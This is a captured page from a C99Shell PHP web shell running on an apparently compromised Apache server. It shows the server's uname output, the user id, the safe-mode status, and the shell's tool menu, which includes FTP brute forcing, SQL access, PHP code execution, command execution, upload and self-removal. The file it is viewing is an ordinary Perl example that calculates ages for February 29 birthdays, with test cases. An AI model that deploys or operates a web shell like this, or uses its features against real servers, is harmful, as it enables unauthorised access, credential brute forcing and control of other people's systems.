!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Time-Moment/eg/   drwxr-xr-x
Free 6181.77 GB of 6262.97 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     age.pl (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
use strict;
use warnings;

use Time::Moment;

# Calculates age of a person in calendar years.
#
# Where a person has been born on February 29th in a leap year, the
# anniversary in a non-leap year can be taken to be February 28th or
# March 1st. Some countries have laws defining which date a person
# born on February 29th comes of age in legal terms. In England and 
# Wales, for example, the legal age of a leapling is March 1st in 
# common years. The same applies in Hong Kong. In Taiwan and in 
# New Zealand, the legal age of a leapling is February 28th in 
# common years.
# https://en.wikipedia.org/wiki/February_29#Births
sub calculate_age {
    @_ == 2 or @_ == 3 or die q/Usage: calculate_age($birth, $event [, $march])/;
    my ($birth, $event, $march) = @_;

    my $years = $birth->delta_years($event);

    unless ($march) {
        # Increment if birth is 02-29 and event is 02-28 in a non-leap year
        ++$years if $birth->day_of_year == 31 + 29 &&  $birth->is_leap_year
                 && $event->day_of_year == 31 + 28 && !$event->is_leap_year;
    }
    return $years;
}

my @tests = (
    [ '2008-02-28T00Z', '2015-02-27T00Z', 0, 6 ],
    [ '2008-02-28T00Z', '2015-02-28T00Z', 0, 7 ],
    [ '2008-02-28T00Z', '2015-03-01T00Z', 0, 7 ],
    [ '2008-02-29T00Z', '2015-02-27T00Z', 0, 6 ],
    [ '2008-02-29T00Z', '2015-02-28T00Z', 0, 7 ],
    [ '2008-02-29T00Z', '2015-03-01T00Z', 0, 7 ],
    [ '2008-03-01T00Z', '2015-02-27T00Z', 0, 6 ],
    [ '2008-03-01T00Z', '2015-02-28T00Z', 0, 6 ],
    [ '2008-03-01T00Z', '2015-03-01T00Z', 0, 7 ],
    [ '2008-02-29T00Z', '2016-02-27T00Z', 0, 7 ],
    [ '2008-02-29T00Z', '2016-02-28T00Z', 0, 7 ],
    [ '2008-02-29T00Z', '2016-02-29T00Z', 0, 8 ],
    [ '2008-02-29T00Z', '2016-03-01T00Z', 0, 8 ],

    [ '2008-02-28T00Z', '2015-02-27T00Z', 1, 6 ],
    [ '2008-02-28T00Z', '2015-02-28T00Z', 1, 7 ],
    [ '2008-02-28T00Z', '2015-03-01T00Z', 1, 7 ],
    [ '2008-02-29T00Z', '2015-02-27T00Z', 1, 6 ],
    [ '2008-02-29T00Z', '2015-02-28T00Z', 1, 6 ],
    [ '2008-02-29T00Z', '2015-03-01T00Z', 1, 7 ],
    [ '2008-03-01T00Z', '2015-02-27T00Z', 1, 6 ],
    [ '2008-03-01T00Z', '2015-02-28T00Z', 1, 6 ],
    [ '2008-03-01T00Z', '2015-03-01T00Z', 1, 7 ],
    [ '2008-02-29T00Z', '2016-02-27T00Z', 1, 7 ],
    [ '2008-02-29T00Z', '2016-02-28T00Z', 1, 7 ],
    [ '2008-02-29T00Z', '2016-02-29T00Z', 1, 8 ],
    [ '2008-02-29T00Z', '2016-03-01T00Z', 1, 8 ],
);

use Test::More 0.88;

foreach my $test (@tests) {
    my ($birth, $event, $march, $age) = @$test;
    my $got = calculate_age(Time::Moment->from_string($birth),
                            Time::Moment->from_string($event),
                            $march);
    is($got, $age, "calculate_age($birth, $event, $march)");
}

done_testing();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0106 ]--